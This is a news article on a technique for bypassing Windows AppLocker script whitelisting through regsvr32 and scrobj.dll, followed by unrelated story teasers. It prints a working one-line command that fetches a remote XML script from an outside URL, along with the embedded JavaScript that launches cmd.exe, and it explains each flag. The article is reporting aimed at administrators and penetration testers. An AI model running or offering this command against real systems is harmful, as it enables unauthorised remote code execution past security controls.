Bypass the Windows AppLocker bouncer with a tweet-size command

How to go off script on office, school desktops


Video If you're relying on Microsoft's AppLocker to lock down your office or school Windows PCs, then you should check this out. A security researcher says he's found a way to potentially bypass the operating system's software whitelist and launch arbitrary scripts.

AppLocker lets IT admins managing large networks of machines define which applications and scripts users can and can't run and install. It was introduced in Windows 7, and the idea is to keep users on the straight and narrow: stop them from launching non-work-related programs, stop them from running malicious programs or malware-launching scripts, or stop them from running programs that will involve lots of support calls.

A security researcher called Casey Smith has found that AppLocker's script defenses can be potentially bypassed with a pretty simple command. Here's a sample command demonstrating the technique; it even fits neatly in a tweet, and verified using an El Reg Windows Enterprise system:

regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll

Running this tells Windows to fetch an XML file from the internet, which tells it to run cmd.exe. The magic here is that if you change cmd.exe for any program outside the AppLocker whitelist, bingo: it will start, in theory. regsvr32 is part of the operating system and can be used to register and unregister COM script files with the Windows Registry. /s tells regsvr32 to be silent, /n tells it not to use DllRegisterServer, /i passes an optional parameter (our URL) to DLLinstall, /u means we're trying to unregister an object, and scrobj.dll is Microsoft's Script Component Runtime.

Smith found that if you give regsvr32 a URL to parse, it will actually fetch the file over HTTP or HTTPS, even via a configured proxy, and process it. By embedding some JavaScript in the fetched XML, and triggering its execution by requesting a .DLL unregistration, it's possible to run arbitrary scripts bypassing AppLocker and cause mischief. Any user can request this unregistration.

"It's not well documented that regsvr32.exe can accept a URL for a script," said Smith.

In the above case, the embedded JavaScript uses ActiveX:

var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");

Here's a video of the technique in action:

Youtube Video

It's a case of chaining together various components in the labyrinth of years-and-years-old code that is Microsoft Windows. JavaScript, Visual Basic and Powershell scripts can be run from the internet, or a local file, via regsvr32, according to Smith. He has produced a collection of proof-of-concept scripts for remote-code execution on Windows via regsvr32 – including the opening of backdoors on the machine.

Now, you have to be logged into the PC as a normal user or guest to pull off this trick, and all it does is get you past AppLocker. Usually, you need admin-rights to bypass the whitelist.

It's also possible that Windows 10's Device Guard running with Hyper-V and scripting protection fully switched on will block these attempts. In any case, if you're relying on AppLocker on your fleet of systems, you may want to try out Smith's code examples to see if your setup is vulnerable (before someone else does).

"It's built-in remote code execution without admin rights and which bypasses Windows whitelisting. I'd say it's pretty bad," said Alex Ionescu, a Windows and ARM kernel guru.

The trick – Smith didn't want to call it an exploit – is neat because it does not touch the Registry, does not need administrator rights, can be wrapped up in an encrypted HTTP session, and should leave no trace on disk as it's a pure to-memory download. No patch exists for this, although regsvr32 can be firewalled off from the internet. Microsoft was not available for immediate comment.

Infosec researcher Kenn White said: "This just made a lot of corporate penetration testers very, very happy." ®

Similar topics


Other stories you might like

  • Ubuntu 21.10: Plan to do yourself an Indri? Here's what's inside... including a bit of GNOME schooling

    Plus: Rounded corners make GNOME 40 look like Windows 11

    Review Canonical has released Ubuntu 21.10, or "Impish Indri" as this one is known. This is the last major version before next year's long-term support release of Ubuntu 22.04, and serves as a good preview of some of the changes coming for those who stick with LTS releases.

    If you prefer to run the latest and greatest, 21.10 is a solid release with a new kernel, a major GNOME update, and some theming changes. As a short-term support release, Ubuntu 21.10 will be supported for nine months, which covers you until July 2022, by which point 22.04 will already be out.

    Continue reading
  • Heart FM's borkfast show – a fine way to start your day

    Jamie and Amanda have a new co-presenter to contend with

    There can be few things worse than Microsoft Windows elbowing itself into a presenting partnership, as seen in this digital signage for the Heart breakfast show.

    For those unfamiliar with the station, Heart is a UK national broadcaster with Global as its parent. It currently consists of a dozen or so regional stations with a number of shows broadcast nationally. Including a perky breakfast show featuring former Live and Kicking presenter Jamie Theakston and Britain's Got Talent judge, Amanda Holden.

    Continue reading
  • Think your phone is snooping on you? Hold my beer, says basic physics

    Information wants to be free, and it's making its escape

    Opinion Forget the Singularity. That modern myth where AI learns to improve itself in an exponential feedback loop towards evil godhood ain't gonna happen. Spacetime itself sets hard limits on how fast information can be gathered and processed, no matter how clever you are.

    What we should expect in its place is the robot panopticon, a relatively dumb system with near-divine powers of perception. That's something the same laws of physics that prevent the Godbot practically guarantee. The latest foreshadowing of mankind's fate? The Ethernet cable.

    By itself, last week's story of a researcher picking up and decoding the unintended wireless emissions of an Ethernet cable is mildly interesting. It was the most labby of lab-based demos, with every possible tweak applied to maximise the chances of it working. It's not even as if it's a new discovery. The effect and its security implications have been known since the Second World War, when Bell Labs demonstrated to the US Army that a wired teleprinter encoder called SIGTOT was vulnerable. It could be monitored at a distance and the unencrypted messages extracted by the radio pulses it gave off in operation.

    Continue reading

Biting the hand that feeds IT © 1998–2021